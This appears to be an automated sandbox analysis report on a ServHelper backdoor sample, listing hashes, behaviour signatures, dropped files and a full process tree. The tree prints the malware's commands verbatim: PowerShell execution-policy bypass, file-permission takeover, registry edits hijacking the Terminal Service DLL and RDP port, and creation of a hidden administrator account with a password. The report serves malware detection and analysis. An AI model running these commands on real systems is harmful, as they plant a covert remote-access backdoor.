Analysis

  • max time kernel
    125s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22-12-2023 17:19

General

  • Target

    fe390355d5840bf740669121b7032e5f.exe

  • Size

    3.4MB

  • MD5

    fe390355d5840bf740669121b7032e5f

  • SHA1

    db7c8fd4c1b2600d98e20e8301018e1a4b952444

  • SHA256

    7da69d9b2edd854e2ebd3c5123ae0fa4df058780fdea9236f412daf46ed4997b

  • SHA512

    fb073cc090ba88805c0b43f639714d393271ea7397c7af1c4c409e680d98c61fa1aa6117307d3c3e967da0cf30c3cf90ea59ed7c99e419b30b76d2c1a817980c

  • SSDEEP

    49152:kkfxaDlOo67fSWzotMT+3vQW4DMyc+7G0wHyiTXvJifxwB77xWRpt/l0Vpz1UHYV:d2qrt7T+v+7G0CJ4xwB7YN/l0VpyRO

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe390355d5840bf740669121b7032e5f.exe
    "C:\Users\Admin\AppData\Local\Temp\fe390355d5840bf740669121b7032e5f.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\system32\timeout.exe
        timeout -t 15
        3⤵
        • Delays execution with timeout.exe
        PID:2084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1060
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2476
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:848
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:2460
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:756
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2452
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1516
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1548
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1600
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:1688
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Sets DLL path for service in the registry
            • Modifies registry key
            PID:1304
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            4⤵
              PID:1952
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2144
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                5⤵
                  PID:1976
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2624
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1576
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2384
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      7⤵
                        PID:1292
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  4⤵
                    PID:2908
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                        PID:2916
                        • C:\Windows\system32\net.exe
                          net start TermService
                          6⤵
                            PID:1040
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 start TermService
                              7⤵
                                PID:476
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          4⤵
                            PID:1604
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            4⤵
                              PID:1960
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                          PID:2344
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc Ghar4f5 /del
                            2⤵
                              PID:912
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                3⤵
                                  PID:436
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc TcavmU4l /add
                              1⤵
                                PID:2248
                                • C:\Windows\system32\net.exe
                                  net.exe user wgautilacc TcavmU4l /add
                                  2⤵
                                    PID:2316
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user wgautilacc TcavmU4l /add
                                      3⤵
                                        PID:1140
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    1⤵
                                      PID:2176
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        2⤵
                                          PID:1012
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            3⤵
                                              PID:1572
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" QVMRJQQO$ /ADD
                                          1⤵
                                            PID:108
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" QVMRJQQO$ /ADD
                                              2⤵
                                                PID:832
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QVMRJQQO$ /ADD
                                                  3⤵
                                                    PID:1868
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                1⤵
                                                  PID:944
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    2⤵
                                                      PID:880
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                        3⤵
                                                          PID:1456
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc TcavmU4l
                                                      1⤵
                                                        PID:840
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user wgautilacc TcavmU4l
                                                          2⤵
                                                            PID:956
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user wgautilacc TcavmU4l
                                                              3⤵
                                                                PID:2360

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • C:\Users\Admin\AppData\Local\Temp\11.ps1

                                                            Filesize

                                                            1KB

                                                            MD5

                                                            c0fae5b04f67d12ca621200aac5378dc

                                                            SHA1

                                                            c82c80ff2a2abb57e9a23ac5a100d82c1d551238

                                                            SHA256

                                                            de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0

                                                            SHA512

                                                            27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

                                                          • C:\Users\Admin\AppData\Local\Temp\evil.ps1

                                                            Filesize

                                                            4.0MB

                                                            MD5

                                                            308004ed7790ddb567998dcb7205cb6f

                                                            SHA1

                                                            a32706cf539b367c631757ce5228a382b9bf3dca

                                                            SHA256

                                                            4c5f0e82186751415772384bae7054437d53e2806b2ba2973ab20bb694ffd428

                                                            SHA512

                                                            168a63f1c8ec8102a9e11581e68b17fb4826fb77bfc2d5e7e8ab04864aaf05d99404ba6cf769ebab1d5c41b8bcd1357f611de62a5e077fbbaef5d5b43ffed514

                                                          • C:\Windows\system32\rfxvmt.dll

                                                            Filesize

                                                            40KB

                                                            MD5

                                                            dc39d23e4c0e681fad7a3e1342a2843c

                                                            SHA1

                                                            58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                            SHA256

                                                            6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                            SHA512

                                                            5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                          • \Users\Admin\AppData\Local\Temp\nst91F4.tmp\System.dll

                                                            Filesize

                                                            11KB

                                                            MD5

                                                            fbe295e5a1acfbd0a6271898f885fe6a

                                                            SHA1

                                                            d6d205922e61635472efb13c2bb92c9ac6cb96da

                                                            SHA256

                                                            a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                                            SHA512

                                                            2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                                          • \Users\Admin\AppData\Local\Temp\nst91F4.tmp\blowfish.dll

                                                            Filesize

                                                            22KB

                                                            MD5

                                                            5afd4a9b7e69e7c6e312b2ce4040394a

                                                            SHA1

                                                            fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                            SHA256

                                                            053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                            SHA512

                                                            f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                          • \Users\Admin\AppData\Local\Temp\nst91F4.tmp\nsUnzip.dll

                                                            Filesize

                                                            146KB

                                                            MD5

                                                            77a26c23948070dc012bba65e7f390aa

                                                            SHA1

                                                            7e112775770f9b3b24e2a238b5f7c66f8802e5d8

                                                            SHA256

                                                            4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

                                                            SHA512

                                                            2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

                                                          • \Windows\Branding\mediasrv.png

                                                            Filesize

                                                            54KB

                                                            MD5

                                                            acc5f33ea59a3aceb71f356e818aa32e

                                                            SHA1

                                                            483682b15fa526f620e525292a26c868fd809769

                                                            SHA256

                                                            56fb4078bce366f84deb9236987465ac616717da91edb409344bdbec5f8969d9

                                                            SHA512

                                                            14676268e9a25ae1fae66b758ac508f1e18ef520af044d8626b6c2be48bdcc5d7983d12fbeb112c06e7b1f24bdc3c6edd57a2aa6c91b40fbe38ea93a0956cd44

                                                          • \Windows\Branding\mediasvc.png

                                                            Filesize

                                                            946KB

                                                            MD5

                                                            016660627786c4f1f2bb73fc7122f05e

                                                            SHA1

                                                            571b953d7721dbf5e5c034ca388621fc63372be3

                                                            SHA256

                                                            b8aad0651e6f08e00ef81ac444ad151a9660b5a1ec7e7a534b0a818b593926a4

                                                            SHA512

                                                            8d7c59913c983f87489eef31fd4044257c807a23a4f47b39b7b81b2f6cfab1e2e2390ee536d35b13f2cc3784721a85c5e819eb65c1a153c92f4d1249f6b5d3a4

                                                          • memory/1060-76-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-77-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-57-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-52-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-73-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

                                                            Filesize

                                                            9.6MB

                                                          • memory/1060-74-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-56-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-54-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

                                                            Filesize

                                                            9.6MB

                                                          • memory/1060-75-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-51-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

                                                            Filesize

                                                            9.6MB

                                                          • memory/1060-55-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-50-0x0000000001F40000-0x0000000001F48000-memory.dmp

                                                            Filesize

                                                            32KB

                                                          • memory/1060-49-0x000000001B330000-0x000000001B612000-memory.dmp

                                                            Filesize

                                                            2.9MB

                                                          • memory/1060-83-0x0000000002920000-0x00000000029A0000-memory.dmp

                                                            Filesize

                                                            512KB

                                                          • memory/1060-84-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

                                                            Filesize

                                                            9.6MB